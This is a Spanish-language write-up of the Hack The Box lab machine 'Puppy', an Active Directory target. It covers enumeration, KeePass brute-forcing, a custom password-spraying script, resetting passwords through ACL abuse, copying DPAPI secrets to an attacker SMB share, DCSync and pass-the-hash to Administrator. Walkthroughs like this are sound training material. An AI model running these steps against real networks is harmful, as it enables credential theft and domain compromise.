Puppy


Machine Information

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!


🧾 Enumeration

sudo nmap -sS -- min-rate 5000 -- open -vvv -n -Pn -p- 10.10.11.70 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49669,49670,49690,53146,58941 10.10.11.70 -oN targeted
  • Escaneo profundo:

──────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: targeted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Sun May 25 18:11:55 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49669,49670,49690,53146,
       │ 58941 -oN targeted 10.10.11.70
   2   │ Nmap scan report for 10.10.11.70
   3   │ Host is up (0.24s latency).
   4   │ 
   5   │ Bug in iscsi-info: no string output.
   6   │ PORT      STATE SERVICE       VERSION
   7   │ 53/tcp    open  domain        Simple DNS Plus
   8   │ 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-26 06:14:39Z)
   9   │ 111/tcp   open  rpcbind       2-4 (RPC #100000)
  10   │ | rpcinfo: 
  11   │ |   program version    port/proto  service
  12   │ |   100000  2,3,4        111/tcp   rpcbind
  13   │ |   100000  2,3,4        111/tcp6  rpcbind
  14   │ |   100000  2,3,4        111/udp   rpcbind
  15   │ |   100000  2,3,4        111/udp6  rpcbind
  16   │ |   100003  2,3         2049/udp   nfs
  17   │ |   100003  2,3         2049/udp6  nfs
  18   │ |   100005  1,2,3       2049/udp   mountd
  19   │ |   100005  1,2,3       2049/udp6  mountd
  20   │ |   100021  1,2,3,4     2049/tcp   nlockmgr
  21   │ |   100021  1,2,3,4     2049/tcp6  nlockmgr
  22   │ |   100021  1,2,3,4     2049/udp   nlockmgr
  23   │ |   100021  1,2,3,4     2049/udp6  nlockmgr
  24   │ |   100024  1           2049/tcp   status
  25   │ |   100024  1           2049/tcp6  status
  26   │ |   100024  1           2049/udp   status
  27   │ |_  100024  1           2049/udp6  status
  28   │ 135/tcp   open  msrpc         Microsoft Windows RPC
  29   │ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
  30   │ 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
  31   │ 445/tcp   open  microsoft-ds?
  32   │ 464/tcp   open  kpasswd5?
  33   │ 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  34   │ 636/tcp   open  tcpwrapped
  35   │ 2049/tcp  open  nlockmgr      1-4 (RPC #100021)
  36   │ 3260/tcp  open  iscsi?
  37   │ 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
  38   │ 3269/tcp  open  tcpwrapped
  39   │ 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  40   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  41   │ |_http-title: Not Found
  42   │ 9389/tcp  open  mc-nmf        .NET Message Framing
  43   │ 49664/tcp open  msrpc         Microsoft Windows RPC
  44   │ 49667/tcp open  msrpc         Microsoft Windows RPC
  45   │ 49669/tcp open  msrpc         Microsoft Windows RPC
  46   │ 49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  47   │ 49690/tcp open  msrpc         Microsoft Windows RPC
  48   │ 53146/tcp open  msrpc         Microsoft Windows RPC
  49   │ 58941/tcp open  msrpc         Microsoft Windows RPC
  50   │ Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
  51   │ 
  52   │ Host script results:
  53   │ | smb2-security-mode: 
  54   │ |   3:1:1: 
  55   │ |_    Message signing enabled and required
  56   │ |_clock-skew: 7h02m35s
  57   │ | smb2-time: 
  58   │ |   date: 2025-05-26T06:16:41
  59   │ |_  start_date: N/A
  60   │ 
  61   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  62   │ # Nmap done at Sun May 25 18:15:05 2025 -- 1 IP address (1 host up) scanned in 190.41 seconds

Como ya sabemos tenemos credenciales para una cuenta con pocos privilegios, así que ahora simplemente realizaremos un ataque de pulverización utilizando la herramienta NXC.

  • Dos formas distintas de enumerar:

netexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --shares
nxc smb 10.10.11.70  -vi.james -d PUPPY.HTB -p 'KingofAkron2025!' --shares

Muy bien, en este proceso utilizamos bloodhound-python para recopilar toda la información relevante del sistema Windows y del entorno Active Directory en un archivo comprimido (ZIP). Este archivo contiene datos detallados sobre usuarios, grupos, permisos y sesiones, los cuales importaremos en la base de datos gráfica Neo4j. Al visualizar esta información con BloodHound, podremos analizar de manera clara y efectiva las posibles rutas y vectores de escalada de privilegios dentro de la red, facilitando así la identificación de vulnerabilidades y la auditoría de seguridad.

 python3 bloodhound.py -d PUPPY.HTB -u levi.james -p KingofAkron2025! -c ALL --zip -ns 10.10.11.70

Activamos el Neo4j y después el BloodHound:

  • levi.james@puppy.htb es miembro del grupo HR@puppy.htb .

  • El grupo HR@puppy.htb tiene permisos GenericWrite sobre el grupo DEVELOPERS@puppy.htb .

🔥 Paso 1: Agregar levi.james al grupo DEVELOPERS

GenericWrite

Usando el privilegio GenericWrite, ejecuta:

  • Esto se logra usando el comando net rpc para agregar un miembro a un grupo.

Ejemplo de comando:

net rpc group addmem 'DEVELOPERS' levi.james -U 'levi.james%KingofAkron2025!' -S 10.10.11.70

Nota: Asegúrate de usar el nombre correcto del grupo (DEVELOPERS) y no una traducción como "DESARROLLADORES" a menos que sea el nombre exacto en el dominio.

Reconectar y verificar acceso al recurso compartido SMB DEV

  • Ahora que levi.james es miembro del grupo DEVELOPERS, este debería tener acceso al recurso DEV.

Entramos a ver que contiene:

Abrimos el .Kdbx que es una bd de KeePass,:

Probaremos con la credencial de levi.james pero como no es haremos fuerza bruta a la contraseña:

bash keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt

Exportamos las contraseñas y los datos del archivo recovery.kdbx a un archivo de formato XML llamado keepass_dump.xml.

keepassxc-cli export --format=xml recovery.kdbx > keepass_dump.xml

Extraemos las contraseñas y las guardamos en un archivo llamado passwords_only.txt.

HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!

Realizamos pulverización de contraseñas utilizando nxc:

  • Creamos un archivo llamado users donde estaran todos los posibles usuarios pero para ello buscaremos los usuarios:

  • Para listar usuarios en el dominio usando nxc smb con las credenciales de levi.james, el comando sería:

nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users

Ahora teniendo los usuarios y credenciales tiraremos de la herramiena nxc para ver cual nos funciona:

Para ello hice mi propio script:

#!/bin/bash

IP="10.10.11.70"

# Leer usuarios en array
mapfile -t USERS < users.txt

# Leer contraseñas en array
mapfile -t PASSES < passwords_only.txt

for user in "${USERS[@]}"; do
  for pass in "${PASSES[@]}"; do
    echo "Probando: Usuario='$user' Contraseña='$pass'"
    output=$(nxc smb $IP -u "$user" -p "$pass" --no-progress 2>&1)

    # Buscar éxito en la salida (ajusta según mensaje real de éxito)
    if echo "$output" | grep -q -i 'STATUS_LOGON_FAILURE'; then
      echo "[-] Falló: $user:$pass"
    else
      echo "[+] Éxito: $user:$pass"
      echo "Salida:"
      echo "$output"
      echo "--------------------------------------------"
    fi
  done
done

Tenemos credenciales validas:

Username: PUPPY.HTB\ant.edwards
Password: Antman2025!

Estas credenciales ahora se pueden usar para explorar más a fondo y escalar el acceso dentro del entorno objetivo. Realizamos un análisis con bloodhound-python.

python3 bloodhound.py -d PUPPY.HTB -u ant.edwards -p Antman2025!  -c ALL --zip -ns 10.10.11.70

Escanearemos los permisos de escritura de nuestro usuario usando bloodyAD.

GenericAll

python3 bloodyAD.py --host 10.10.11.70 -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' get writable --detail

Resultado:

mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
......
........
..........

Realizaremos un análisis en profundidad para identificar los permisos de escritura disponibles para nuestro usuario con bloodyAD.

Parece que el usuario tiene permisos de escritura en la cuenta de Adam D. Silver”.

Cambiaremos la contraseña usando rpcclient.

❯ rpcclient -U 'puppy.htb\\Ant.Edwards%Antman2025!' 10.10.11.70

rpcclient $> setuserinfo ADAM.SILVER 23 Password@987
rpcclient $> 

Verificando si es verdad:

nxc smb 10.10.11.70 -u 'ADAM.SILVER' -p 'Password@987'

La cuenta está deshabilitada, como lo indica el error 'STATUS_ACCOUNT_DISABLED'. La activaremos con el usuario Ant.Edwards.

python3 bloodyAD.py --host dc.puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'ADAM.SILVER' -f ACCOUNTDISABLE

Funciona:

[-] ['ACCOUNTDISABLE'] property flags removed from ADAM.SILVER's userAccountControl

Ahora cambiaremos la contraseña nuevamente.

Verificando:

nxc smb 10.10.11.70 -u 'ADAM.SILVER' -p 'Password@987'

Correcto 🎉


Y al parecer forma del grupo ManagedUsers:

Entramos:


Privilage Escalation


Realizamos el escaneo utilizando BloodHound

  • Sincronización NTP con el DC

 ntpdate -u 10.10.11.70
python3 bloodhound.py -dc DC.PUPPY.HTB -u 'ADAM.SILVER' -p 'Password@987' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70

Tenemos los json:

A pasarlo al BloodHound:

Pasamos el Backup a nuestro linux:

cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
 <server>
 <host>DC.PUPPY.HTB</host>
 <port>389</port>
Puppy 25
 <base-dn>dc=PUPPY,dc=HTB</base-dn>
 <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
 <bind-password>ChefSteph2025!</bind-password>
 </server>
 <user-attributes>
 <attribute name="username" ldap-attribute="uid" />
 <attribute name="firstName" ldap-attribute="givenName" />
 <attribute name="lastName" ldap-attribute="sn" />
 <attribute name="email" ldap-attribute="mail" />
 </user-attributes>
 <group-attributes>
 <attribute name="groupName" ldap-attribute="cn" />
 <attribute name="groupMember" ldap-attribute="member" />
 </group-attributes>
 <search-filter>
 <filter>(&(objectClass=person)(uid=%s))</filter>
 </search-filter>
</ldap-config> 
Username: steph.cooper
Password: ChefSteph2025!

Ahora, comprobaremos si podemos conectarnos usando WinRM con estas credenciales.

Navegué por el sistema hasta encontrar los archivos DPAPI que contienen claves de cifrado importantes:

cd C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
dir

Allí encontré el archivo 556a2412-1275-4ccf-b721-e6a0b4f90407 (el masterkey).

Configuré un servidor SMB en mi Kali para recibir esos archivos:

mkdir ./share
impacket-smbserver share ./share -smb2supporDesde la sesión de Evil-WinRM, copié los archivos a mi servidor SMB:
copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407" \\10.10.14.xx\share\masterkey_blob

copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" \\10.10.14.xx\share\credential_blob
dpapi.py masterkey -file masterkey_blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107

Copié la clave que me devolvió, y la usé para descifrar el credential blob:

dpapi.py credential -f credential_blob -key <clave_descifrada>
  • Así obtuve unas nuevas credenciales elevadas:

Usuario: steph.cooper_adm

Contraseña: FivethChipOnItsWay2025!

  • Con esas credenciales, ejecuté BloodHound para mapear Active Directory y obtener información completa:

bloodhound.py -dc DC.PUPPY.HTB -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70

BloodHound mostró que steph.cooper_adm tiene permisos DCSync, es decir, puede replicar hashes del dominio.

  • Usé secretsdump.py para extraer hashes NTLM del administrador y otros usuarios:

secretsdump.py PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70

Con el hash NTLM del administrador, me conecté usando Evil-WinRM pass-the-hash:

evil-winrm -i 10.10.11.70 -u Administrator -H 'bb0edc15e49ceb4120c7bd7e6e65d775b'

Last updated